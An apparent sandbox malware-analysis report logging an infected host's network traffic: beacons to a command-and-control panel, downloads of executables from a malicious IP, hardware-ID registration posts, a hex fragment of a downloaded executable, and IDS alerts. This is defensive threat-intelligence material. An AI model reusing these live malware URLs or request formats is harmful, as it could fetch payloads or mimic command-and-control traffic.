00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 31 Oct 2024 04:07:40 GMTContent-Type: application/octet-streamContent-Length: 1904640Last-Modified: Thu, 31 Oct 2024 04:05:08 GMTConnection: keep-aliveETag: "672301f4-1d1000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4b 00 00 04 00 00 5d 1c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 ff 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 ff 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 78 7a 66 77 73 79 69 00 00 1a 00 00 10 31 00 00 f4 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 76 75 62 62 72 6b 67 00 10 00 00 00 10 4b 00 00 04 00 00 00 ea 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4b 00 00 22 00 00 00 ee 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002784001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002785001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFIIJDAAAAKFHIDAAAHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 41 41 41 2d 2d 0d 0a Data Ascii: ------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------DAAFIIJDAAAAKFHIDAAAContent-Disposition: form-data; name="build"tale------DAAFIIJDAAAAKFHIDAAA--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 38 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002786001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="build"tale------AAKKKEBFCGDBGDGCFHCB--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 37 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002787001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="build"tale------JEBGIIDBKEBFBGCAEBAK--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAFCAKEHDHDHIDHDGDHHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 2d 2d 0d 0a Data Ascii: ------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="build"tale------CBAFCAKEHDHDHIDHDGDH--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGCGHDGIEGCBFIEGCBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 2d 2d 0d 0a Data Ascii: ------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="build"tale------GCBGCGHDGIEGCBFIEGCB--
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGHCGHCBFHJJKKJEHHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 36 42 43 38 42 36 30 43 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="hwid"186BC8B60C81107340409------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="build"tale------JDGCGHCGHCBFHJJKKJEH--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 34.117.188.166 34.117.188.166
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49744 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49803 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49851 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49913 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49943 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49965 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49965 -> 185.215.113.16:80
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
